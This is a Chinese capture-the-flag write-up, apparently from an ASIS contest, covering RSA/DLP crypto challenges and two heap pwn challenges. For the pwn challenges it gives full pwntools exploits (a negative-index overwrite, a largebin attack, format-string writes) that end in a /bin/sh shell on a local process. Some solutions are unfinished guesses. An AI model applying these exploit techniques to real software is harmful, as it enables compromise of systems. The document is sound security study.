过去有些日子的比赛的,国外很多比赛题目水平很高。没事的时候拿来作作。只是WP不全我不会的大多没有。
Crypto
Lozib
这个题就挺有意思。由于远程都关了,只在本地把思路作了下。
#!/usr/bin/env python3
import sys
from Crypto.Util.number import *
from random import *
from math import gcd
from flag import flag
def die(*args):
pr(*args)
quit()
def pr(*args):
s = " ".join(map(str, args))
sys.stdout.write(s + "\n")
sys.stdout.flush()
def sc():
return sys.stdin.buffer.readline()
def main():
border = "┃"
pr( "┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓")
pr(border, ".::: Welcome to the Lozib unbreakable cryptography task! ::.", border)
pr(border, ".: Your mission is to find flag by analyzing the crypto-system :.", border)
pr(border, ".: Lozib are generating the parameters, please be patient ... :.", border)
pr( "┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛")
global flag
flag = bytes_to_long(flag)
nbit = 4096
p = getPrime(nbit)
while True:
pr(f"{border} Options: \n{border}\t[E]ncrypt the flag! \n{border}\t[G]et the parameters! \n{border}\t[Q]uit")
ans = sc().decode().strip().lower()
if ans == 'g':
pr(border, f'p = {p}')
elif ans == 'e':
_b = False
pr(border, f'Please provide {nbit}-bit integer g: ')
inp = sc().decode().strip()
try:
g = int(inp)
if g.bit_length() == nbit and gcd(g, p - 1) == 1 and pow(g, (p - 1) // 2, p) != 1:
pr(border, f'Now, please send an desired integer: ')
inp = sc().decode().strip()
a = int(inp)
if a.bit_length() == nbit >> 1:
n = pow(g, 2 * a, p) - a
if n > 0:
e = pow(flag, 1234567891, n)
_b = True
except:
die(border, f'The input you provided is not valid! Bye!!')
if _b:
pr(border, f'e = {e}')
else:
die(border, f'The input you provided is not valid! Bye!!')
elif ans == 'q':
die(border, "Quitting...")
else:
die(border, "Bye...")
if __name__ == '__main__':
main()
代码稍冗,
1,先是生成一个素数p给出,
2,然后要求输入g要求通过检查:位数为4096,gcd(g,p-1)==1,pow(g,(p-1)//2,p)!= 1
其中前两个好办,第3项有个特值当g=p时结果为0,其它的时候会出很大的数比如7,11等
3,输入a 2048位,得到n=pow(g, 2 * a, p) - a 然后给出用n为模加密的密文
所以这里就是个脑筋转弯的问题,当7,11这样的出现巨大的数显然不可控,所以g只能选p这样n=-a,这时候负数模其实很少见的。不过可能理解为 n = -1*a 用n的一个因子a来求解。
下边是模拟示意。
#输入g = p 通过检查
assert gcd(g, p - 1) == 1
assert pow(g, (p - 1) // 2, p) != 1
#生成1个素数2048位
a = getPrime(2048)
n = -a #pow(g, 2 * a, p) - a
flag = b'ASIS{0000-0000-0000}'
flag = bytes_to_long(flag)
#返回负的加密值 n = -1*a 用n的因子a解密
c = pow(flag,1234567891,n)
m = pow(c,invert(1234567891,a-1),a)
long_to_bytes(m)
prequel
一个coppersmith的题,很新颖,看了WP,就没的作了。
#!/usr/bin/env python3
import sys
from Crypto.Util.number import *
from gmpy2 import *
from flag import flag
sys.set_int_max_str_digits(31337)
def keygen(nbit):
p, q = [getPrime(nbit) for _ in '01']
r = getRandomRange(int(sqrt(nbit)) - 6, int(sqrt(nbit)) - 2)
el, eu = gmpy2.mpfr(0.313370), gmpy2.mpfr(0.313371)
n = p ** r * q
LB, UB = gmpy2.mpfr(n ** el), gmpy2.mpfr(n ** eu)
while True:
d = getRandomRange(int(LB), int(UB))
if gcd(d, (p - 1) * (q - 1)) == 1:
e = inverse(d, (p - 1) * p ** (r - 1) * (q - 1))
pkey = (e, n)
return pkey, p
def encrypt(pkey, m):
e, n = pkey
return pow(m, e, n)
nbit = 313
pkey, p = keygen(nbit)
leak = p >> (nbit - 110)
m = bytes_to_long(flag)
c = encrypt(pkey, m)
print(f'{pkey = }')
print(f'{leak = }')
print(f'{c = }')
生成的n=p**14*q,d 约1468位,给出e,n
由于e*d = 1 mod phi = 1 mod p**13*(p-1)*(q-1) 所以e*d=1 mod p**13也成立。拿含有因子p**13的n作域求解。
#gmpy2.mpfr(n ** el), gmpy2.mpfr(n ** eu) d约1468位
#mod n => mod p^13
P.<x> = PolynomialRing(Zmod(n))
f = e*x - 1
res = f.monic().small_roots(X=2^1468, beta=0.499)
d = res[0]
m = pow(c,d,n)
Strength
这个也是模拟的示意。没有真正弄环境。
#!/usr/bin/env python3
import sys
from Crypto.Util.number import *
import hashlib
import time
#from flag import flag
def die(*args):
pr(*args)
quit()
def pr(*args):
s = " ".join(map(str, args))
sys.stdout.write(s + "\n")
sys.stdout.flush()
def sc():
return sys.stdin.buffer.readline()
def maskit(s, r):
_hash = hashlib.md5(s + r)
return _hash.hexdigest()[:16]
def get_values(b, _b, nbit):
return [b[:i] or "L" for i in range(nbit) if b[i] == _b]
def presend(X):
_X = []
for x in X:
_X.append(maskit(secret, x.encode()))
return _X
def main():
global secret, border
border = "┃"
pr( "┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓")
pr(border, ".::: Greetings and welcome to the Strength task :::.", border)
pr(border, "Your task is simply :| to guess the size of two integers, which is", border)
pr(border, "a really easy job, isn't it? Have fun and good luck :) ", border)
pr( "┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛")
c, nbit = 0, 256
p, q = [getPrime(nbit >> 1) for _ in range(2)]
n, secret = p * q, long_to_bytes(getRandomNBitInteger(nbit))
m = bytes_to_long(flag.lstrip(b'ASIS{').rstrip(b'}'))
assert m < n
enc = pow(m, 0x10001, n)
while True:
pr(border, f"Please send your desired integer: ")
_n = sc().decode()
try:
_n = int(_n)
except:
die(border, "[-] Your input is not valid!")
_xB, _yB = [bin(_)[2:].zfill(nbit) for _ in [n, _n]]
X, Y = get_values(_xB, '1', nbit), get_values(_yB, '0', nbit)
print(X[:5],Y[:5])
_X, _Y = presend(X), presend(Y)
pr(border, "You are suppose to get much information now, ready? [Y]es or [N]o?")
_ans = sc().decode().strip().lower()
if _ans == 'y':
for _ in range(max([len(_X), len(_Y)])):
try:
pr(border, f'Info: _X[{_}] = {_X[_]}')
pr(border, f'Info: _Y[{_}] = {_Y[_]}')
except:
pass
else:
pr(border, "I wonder how you will answer the following question? :/")
pr(border, f"Could you please tell me which number is greater: n or yours?")
res = sc().decode().strip().lower()
if not res in {"n", "y"}:
die(border, "[-] Bad response! Start again!")
if (n <= _n and res == "y") or (n >= _n and res == "n"):
c += 1
pr(border, f"---- {c} ----")
if c >= nbit * 0.666:
die(border, f'[+] Congratulation! But you just got the encrypted flag: {enc}')
else:
die(border, "[-] Wrong response! Try again. Bye!!")
if __name__ == '__main__':
main()
题目生成p,q,n=p*q给出n,这是的p,q都只有128位很小。
然后给了一个循环,可以输入数字,并会把n和_n分别按1和0切成块,然后每块作md5并取前一半为mark.比如 n=0b1010011 第1位是1,则返回第1块为‘L’,第2块从下个1前切即10,第3块为10100,第4块为101001,而输入的_n则是用0切方法同上。
第2步则是判断n与_n的大小,这个不用管,你一直让_n小就行了。
这个题就是要构造一个数来得到与切出的块相同,则通通过半个md5值得到n的部分位。
大致思路如下:
当用1切时,每一块的值为(假设上一块为a): a+'1'+'0'*k 这里0的数量可以为0
所以要构造这个_n就要让加1然后后边全设置为0,与第1个块md5(为方便可以不加md5直接用字符串也能比较相同)相同就是几个0,比如上例中第2块为10,而输入的值用0切只需要输入100000..这样会切出1,10,100,...等块如果与第1块相同就原块就是1,与第2块相同原块就是10
另外一个坑点就是这里的try导致输出并不完全,一但下标越界两个就都不输出,所以最好的办法是爆破一个n里1和0数量相近的情况。经过几次测试发现这种情况很容易得到大概3-4次就会出一个127个0或1的情况。这样用前边的方法就能爆破得到253位左右的n。
这题并不用输入正确的n,只要消耗到足够的次数(可以一直输入同一个数)就可以得到密文。
对爆破得到的多人个判定哪个是真正的n的方法也简单分解一下即可,大概率不是正确的n会马上分解出小因子。而真正的n只有256位用yafu可以分解。然后就是的RSA解下密就OK
也许可几天能看到WP有更好的思路。
以下是模拟的作法
#!/usr/bin/env python3
import sys
from Crypto.Util.number import *
import hashlib
import time
#from flag import flag
flag = b'ASIS{0000-0000-0000}'
secret = b'\xfe\x17=p\x13\x9e\xca\x13\xbb\xbf\xb8\x11\x98\xc5\xf7Gd\xe2x\xa1[\x8e=\xc6n\xfea\xbf\x880\xdd\xed'
c, nbit = 0, 256
def maskit(s, r):
_hash = hashlib.md5(s + r)
return _hash.hexdigest()[:16]
def get_values(b, _b, nbit):
return [b[:i] or "L" for i in range(nbit) if b[i] == _b]
def presend(X):
_X = []
for x in X:
_X.append(maskit(secret, x.encode()))
return _X
class Strength:
#爆破n中1和0数量近的情况
n = 69425516840202926852427689992596087680390054969809045447441776586380876898441
def get(self, _n):
_xB, _yB = [bin(_)[2:].zfill(nbit) for _ in [self.n, _n]]
X, Y = get_values(_xB, '1', nbit), get_values(_yB, '0', nbit)
_X, _Y = presend(X), presend(Y)
#print(len(_X),len(_Y))
l = min(len(_X),len(_Y))
return (_X[:l],_Y[:l])
you = Strength()
i_idx = 1
j_idx = 0
head = '1'
while len(head)<256:
tmp = head.ljust(500,'0')
X,Y = you.get(int(tmp,2))
_Y = get_values(tmp, '0', nbit)
#print(X,Y,_Y)
if i_idx>=len(X)-1:
print(len(head))
print('X over')
break
v = X[i_idx]
for i in range(j_idx,len(Y)):
if X[i_idx]== Y[i]:
break
head = _Y[i]+'1'
if i== len(Y)-1:
print(head)
print('Y over')
break
print(head)
i_idx+=1
j_idx+=i-j_idx
print('idx:',i_idx,j_idx, len(X),len(_Y))
#重复运行到171次得到enc再爆破n
if len(head)>=252:
#...
Hofar
这个百思不得其姐。猜是当N-1含大量小素数是求DLP,试也没试成
#!/usr/bin/env python3
import sys
from Crypto.Util.number import *
import os
from flag import flag
def die(*args):
pr(*args)
quit()
def pr(*args):
s = " ".join(map(str, args))
sys.stdout.write(s + "\n")
sys.stdout.flush()
def sc():
return sys.stdin.buffer.readline()
def next_prime(n):
while True:
if isPrime(n):
return n
else:
n += 1
def main():
border = "┃"
pr( "┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓")
pr(border, ".::: Welcome to the Hofar cryptography task! ::.", border)
pr(border, ".:: Your mission is to find flag by analysing the Hofar oracle ::.", border)
pr( "┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛")
nbit, _b = 1024, False
p, q = [getPrime(nbit) for _ in range(2)]
m, n = bytes_to_long(flag + os.urandom(255 - len(flag))), p * q
g, N, c = pow(m, 0x10001, n), next_prime(n), 0
_U, _V = [], []
while True:
pr(f"{border} Options: \n{border}\t[G]et parameters \n{border}\t[T]ry Hofar Oracle! \n{border}\t[Q]uit")
ans = sc().decode().strip().lower()
if ans == 'g':
pr(border, f'g = {g}')
pr(border, f'N = {N}')
elif ans == 't':
pr(border, f"Please provide your desired integers:")
inp = sc().decode()
try:
u, v = [abs(int(_)) for _ in inp.split(',')]
if (
nbit >= u.bit_length() >= nbit - 1 and
nbit >= v.bit_length() >= nbit - 1 and
u not in _U and v not in _V
):
_U.append(u)
_V.append(v)
_b = True
except:
die(border, f"The input you provided is not valid!")
if _b:
pr(border, f'pow(g, p ^ u + q ^ v, n) = {pow(g, (p ^ u) + q ^ v, N)}')
c += 1
if c >= (nbit >> 3):
die(border, f"You can use this Hofar oracle at most {nbit >> 3} times! Bye!!")
else:
die(border, f"Your input does not meet the requirements!!!")
elif ans == 'q':
die(border, "Quitting...")
else:
die(border, "Bye...")
if __name__ == '__main__':
main()
先是生成p,q,n=p*q然后对flag加密得到g,g=pow(m,0x10001,n)然后给出N(N=next_prime(n))允许输入最多u,v共128次返回 pow(g, (p ^ u) + q ^ v, N)
猜一个思路:
由于N没有特意生成,只是取的next_prime,所以当N-1中含1024以上位的小因子时可以求p
第1次输入u=v=(1<<2048)-1,得到c1=pow(g,(p^u)+q^v,N)=pow(g,p-q,N)
第2次输入u=v=(1<<2000)差不多就行,得c2=pow(g,p+q,N)
两式相乘得到c3=c1*c2 = g**2p %N ,这样当N可以分解出至少总计1024位的小因子里可以PH方法求p
试也没试成,哪里找那么善解人意的N去。还是等WP吧。
PWN
作了两个 pwn题,第3个看都没看懂。同样没有环境,本地也是大概意思。
ToDo
一个堆题,环境用的24.04这个是libc-2.39不过不用管版本,如果打栈的话版本基本无关。
有add,free,edit,show 4个菜单,找了两圈才找着漏洞。在edit里idx允许负数造成向前越界(只有edit有,其它菜单都有检查)
int m3edit()
{
__int16 v1; // [rsp+6h] [rbp-Ah]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
printf("Enter index of the todo: ");
v1 = readint();
if ( v1 > 15 || !*((_QWORD *)&unk_4050 + 3 * v1) )
return puts("Bad index");
printf("Enter content size: ");
v2 = readint();
if ( *((_QWORD *)&unk_4040 + 3 * v1) < v2 )
return puts("Bad size");
printf("Enter content: ");
return read_str(*((void **)&unk_4050 + 3 * v1), v2);
}
那么就在指针前边找可用的负指针,由于可写位置很小,只有chunk-0x48的地方可借用,利用bss开头的指向自己的指针。
先修改自己1字节指向块1,再修改块1的指针,能控制指针就能任意泄露任意写了。(没有环境,意思到这,也许只允许ORW呢,不过影响不大)
from pwn import *
context(arch='amd64', log_level='debug')
elf = ELF('./todo')
libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')
def add(size, msg1,msg2):
p.sendlineafter(b"> ", b'1')
p.sendafter(b"Enter Title: ", msg1)
p.sendlineafter(b"Enter Length of Content: ", str(size).encode())
p.sendafter(b"Enter Content: ", msg2)
def free(idx):
p.sendlineafter(b"> ", b'2')
p.sendlineafter(b"Enter index of the todo: ", str(idx).encode())
def edit(idx,msg):
p.sendlineafter(b"> ", b'3')
p.sendlineafter(b"Enter index of the todo: ", str(idx).encode())
p.sendlineafter(b"Enter content size: ", str(len(msg)+1).encode())
p.sendafter(b"Enter content: ", msg)
def show(idx):
p.sendlineafter(b"> ", b'4')
p.sendlineafter(b"Enter index of the todo: ", str(idx).encode())
'''
-3 F8: 0x00007ffff7e05e80 0x0000000000000000 0x0000555555558008
-2 10: 0x0000000000000000 0x0000000000000000 <stdout>0x00007ffff7f9b760
-1 28: 0x0000000000000000 <stdin>0x00007ffff7f9aa80 0x0000000000000000
0 40:
'''
p = process('./todo')
add(0x500,b'1',b'1')
add(0x18,b'1',b'1')
free(0)
add(0x500,b'1',b'\xc0')
show(0)
p.recvuntil(b"Content: ")
libc.address = u64(p.recv(6)+b'\0\0') - 0x1d2cc0
print(f'{libc.address = :x}')
edit(-3, b'\x40') #修改指针指向块1
edit(-3, flat(0x10,libc.sym['_environ'], libc.sym['_environ'])) #块1指向environ泄露栈地址
#gdb.attach(p, "b*0x55555555582f\nc")
show(0)
p.recvuntil(b"Content: ")
stack = u64(p.recv(6)+b'\0\0') - 0x130
print(f"{stack = :x}")
pop_rdi = libc.address + 0x0000000000027725 # pop rdi ; ret
edit(-3, flat(0x30,stack,stack)) #指向栈地址,写ROP
edit(0, flat(pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\0')), libc.sym['system']))
p.interactive()
Accounting
这个看起来非常乱,菜单很多。有用的结构和指针有以下几个:
1,new_user 在+5040处,结构为:Balance:long,id:long,name:16,func_ptr:long
2,order 在+50c0处,结构为:msg:0x20,order:long
3,user_addr在+5140处,结构为:state:16,?:8,house:long,zip:8,city:16,addr:size
4,inused在+51c0处,int
5,log_level: +5208
有两个漏洞:
第1个在showhighestorder,在循环中如果没找到最大值则v1为-1,属于初始化了的未初始化漏洞。利用这个漏洞可以实现show(-1) 当user[15]存在时可以得到user+0x20处的函数指针(得到加载地址)
int m4show()
{
unsigned int v1; // [rsp+8h] [rbp-8h]
int i; // [rsp+Ch] [rbp-4h]
v1 = -1;
for ( i = 0; i <= 15; ++i )
{
if ( dword_51C0[i] && (v1 == -1 || *(_QWORD *)(qword_50C0[v1] + 32LL) < *(_QWORD *)(qword_50C0[i] + 32LL)) )
v1 = i;
}
printf("idx: %d\n", v1);
printf("Highest number of orders: %lu\n", *(_QWORD *)(qword_50C0[v1] + 32LL));
puts("Person:");
return m3show_2(v1);
}
第2个漏洞在editaddress,这个菜单没检查inused标记,当一个在址块删除以后依然能修改+0x18处的long值,对于libc-2.39来说就是largebinAttack用的bknextsize处。自用它修改log_level,使其大于2,再建的块show的时候就含有一条printf(addr+0x38)
unsigned __int64 m4edit_address()
{
int v1; // [rsp+8h] [rbp-18h] BYREF
int index; // [rsp+Ch] [rbp-14h]
__int64 v3; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
index = read_index();
v3 = qword_5140[index];
puts("Select field to edit: ");
puts("1. State");
puts("2. City");
puts("3. Zip Code");
puts("4. House Number");
printf("> ");
__isoc99_scanf("%d", &v1);
if ( v1 <= 0 || v1 > 4 )
exit(1);
switch ( v1 )
{
case 1:
puts("Unable to change State!");
break;
case 2:
printf("City: ");
__isoc99_scanf("%15s", v3 + 40);
break;
case 3:
printf("Zip Code: ");
__isoc99_scanf("%lu", v3 + 32);
break;
default:
printf("House Number: ");
__isoc99_scanf("%lu", v3 + 24);
break;
}
return v4 - __readfsqword(0x28u);
}
_DWORD *m1add()
{
_DWORD *result; // rax
int v1; // [rsp+Ch] [rbp-4h]
v1 = read_index();
if ( dword_51C0[v1] )
free(*((void **)&unk_5040 + v1));
*((_QWORD *)&unk_5040 + v1) = malloc(0x28uLL);
qword_5140[v1] = 0LL;
printf("Customer Id: ");
__isoc99_scanf("%lu", *((_QWORD *)&unk_5040 + v1) + 8LL);
printf("Name: ");
__isoc99_scanf("%15s", *((_QWORD *)&unk_5040 + v1) + 16LL);
sub_1392(*((_QWORD *)&unk_5040 + v1) + 16LL);
printf("Current Balance: ");
__isoc99_scanf("%lu", *((_QWORD *)&unk_5040 + v1));
*(_QWORD *)(*((_QWORD *)&unk_5040 + v1) + 32LL) = log_0;
if ( qword_5208 == 2 )
{
*(_QWORD *)(*((_QWORD *)&unk_5040 + v1) + 32LL) = log_2;
goto LABEL_10;
}
if ( (unsigned __int64)qword_5208 > 2 )
goto LABEL_9;
if ( qword_5208 )
{
if ( qword_5208 == 1 )
{
*(_QWORD *)(*((_QWORD *)&unk_5040 + v1) + 32LL) = log_1;
goto LABEL_10;
}
LABEL_9:
*(_QWORD *)(*((_QWORD *)&unk_5040 + v1) + 32LL) = &printf;
}
LABEL_10:
result = dword_51C0;
dword_51C0[v1] = 1;
return result;
}
思路就是先用show(-1)得到加载地址,再用largebinAttack修改log_level,然后用printf。
不过由于这个printf不在栈内,而且可打的位置比较多,所以选择是打栈还是改func_ptr想了两个钟头。最后还是决定修改func_ptr指针把printf改为system只有3个字节。因为没有退出的话打栈也不大方便,跳出这个得把返回地址改成leave ret,写的地方比较多。
修改指针其实也不方便,利用rbp指针 #22->#42->#54 用22修改42,再用42在54处写一个指向堆里func_ptr的指针。再用42修改54的尾字节,再用54修改func_ptr里printf的尾3字节。然后show一个/bin/sh
from pwn import *
context(arch='amd64', log_level='debug')
elf = ELF('./accounting')
libc = ELF('/home/kali/glibc/libs/2.39-0ubuntu8_amd64/libc.so.6')
#5040[] -> Balance:long,id:long,name:16,ptr:long
def add_user(idx, id=0, name=b'a', balance=0):
p.sendline(b"newperson")
p.sendlineafter(b"index: ", str(idx).encode())
p.sendlineafter(b"Customer Id: ", str(id).encode())
p.sendlineafter(b"Name: ", name)
p.sendlineafter(b"Current Balance: ", str(balance).encode())
#5140[] -> state:16,?:8,house:long,zip:8,city:16,addr:size
def add_addr(idx, size, state=b'A',city=b'A',zipcode=0, num=0, addr=b'/bin/sh\0'):
p.sendline(b"setaddress")
p.sendlineafter(b"index: ", str(idx).encode())
p.sendlineafter(b"Full address length: ", str(size).encode())
p.sendlineafter(b"State: ", state)
p.sendlineafter(b"City: ", city)
p.sendlineafter(b"Zip Code: ", str(zipcode).encode())
p.sendlineafter(b"House Number: ", str(num).encode())
p.sendafter(b"Full Address: ", addr)
sleep(0.2)
def free(idx):
p.sendline(b"delperson")
p.sendlineafter(b"index: ", str(idx).encode())
def show_high():
p.sendline(b"showhighestorder")
def edit_addr(idx,addr):
p.sendline(b"editaddress")
p.sendlineafter(b"index: ", str(idx).encode())
p.sendlineafter(b"> ", b'4')
p.sendafter(b"House Number: ", str(addr).encode())
def edit_zip(idx,addr):
p.sendline(b"editaddress")
p.sendlineafter(b"index: ", str(idx).encode())
p.sendlineafter(b"> ", b'3')
p.sendafter(b"Zip Code: ", str(addr).encode())
def show(idx):
p.sendline(b"show")
p.sendlineafter(b"index: ", str(idx).encode())
p = process('./accounting')
add_user(15)
free(15)
show_high() #no order set,return -1: 50c0[-1]=5040[15]
p.recvuntil(b"Highest number of orders: ")
elf.address = int(p.recvline()) - 0x12f9
print(f"{elf.address = :x}")
for i in range(5):
add_user(i)
#largebin attack 在log_level写入堆地址,使log_level>2,新建块时func为printf,用show执行printf(addr+0x38)
add_addr(0,0x4d0)
add_addr(1,0x300)
add_addr(2,0x4c0)
free(0)
add_addr(3,0x4f0)
free(2)
edit_addr(0, elf.address +0x5208 -0x20)
add_addr(4,0x4f0) #+5208=addr
#log>0 user+0x20=&printf 利用printf泄露地址
add_user(5)
pay = b'%22$p %23$p %10$p '
add_addr(5,0x4f0, addr=pay)
#gdb.attach(p, "b*0x555555555b41\nc")
show(5)
p.recvuntil(b"Address: \n")
stack = int(p.recvuntil(b' '), 16) #22:de70->42:df10->54:df70
libc.address = int(p.recvuntil(b' '), 16) - 0x2a1ca
heap = int(p.recvuntil(b' '), 16) - 0x2f60
user3 = heap+0x2500
print(f"{stack = :x} {libc.address = :x} {heap = :x}")
stack2 = stack+0x60
'''
0x00007fffffffddf0│+0x0000: 0x0000000000000001 ← $rsp
0x00007fffffffddf8│+0x0008: 0x00000000cdb8e400
0x00007fffffffde00│+0x0010: 0x00007fffffffde20 → 0x00007fffffffde70 → ...
0x00007fffffffde08│+0x0018: 0x0000555555555b9d → nop
#堆地址
0x00007fffffffde10│+0x0020: 0x000055555555e000
#rbp链 22->42->54->chunk6
0x00007fffffffde70│+0x0080: 0x00007fffffffdf10 → 0x00007fffffffdf70 → 0x0000000000000000
#libc
0x00007fffffffde78│+0x0088: 0x00007ffff7c2a1ca → mov edi, eax
'''
#22:de70->42:df10->54:df70
#printf modify usr[1]+0x20 = system
#chunk1+0x20 = heap+0x16f0+0x20
#新建块时func为printf printf与system差3字节
add_user(6)
add_addr(6,0x500, addr= b'/bin/sh\0')
'''
gef➤ x/8gx 0x000055555555d6c0
0x55555555d6c0: 0x0000000000000000 0x0000000000000000
0x55555555d6d0: 0x0000000000000061 0x0000000000000000
0x55555555d6e0: 0x00007ffff7c600f0 printf->system
'''
target = chunk6 = heap+0x16c0+0x20
v1 = target&0xffff
v2 = (target>>16)&0xffff
v3 = (target>>32)
#在偏移54处写一个指向chunk6.func的地址
#22->42->54->chunk6.func
#54->chunk6+0x20
for i,v in enumerate([v1,v2,v3]):
add_addr(5,0x500, addr= f"%{v}c%42$hn".encode())
show(5)
p.recvuntil(b'Balance:')
if i==2:
add_addr(5,0x500, addr= f"%{(stack2)&0xff}c%22$hhn".encode())
else:
add_addr(5,0x500, addr= f"%{(stack2+2*i+2)&0xff}c%22$hhn".encode())
show(5)
p.recvuntil(b'Balance:')
#修改chunk6.func 从printf改为system
target = libc.sym['system']
v1 = target&0xff
v2 = (target>>8)&0xff
v3 = (target>>16)&0xff
#42->54->chunk6.func
for i,v in enumerate([v1,v2,v3]):
add_addr(5,0x500, addr= f"%{v}c%54$hhn".encode())
show(5)
p.recvuntil(b'Balance:')
add_addr(5,0x500, addr= f"%{(chunk6+i+1)&0xff}c%42$hhn".encode())
show(5)
p.recvuntil(b'Balance:')
show(6)
p.interactive()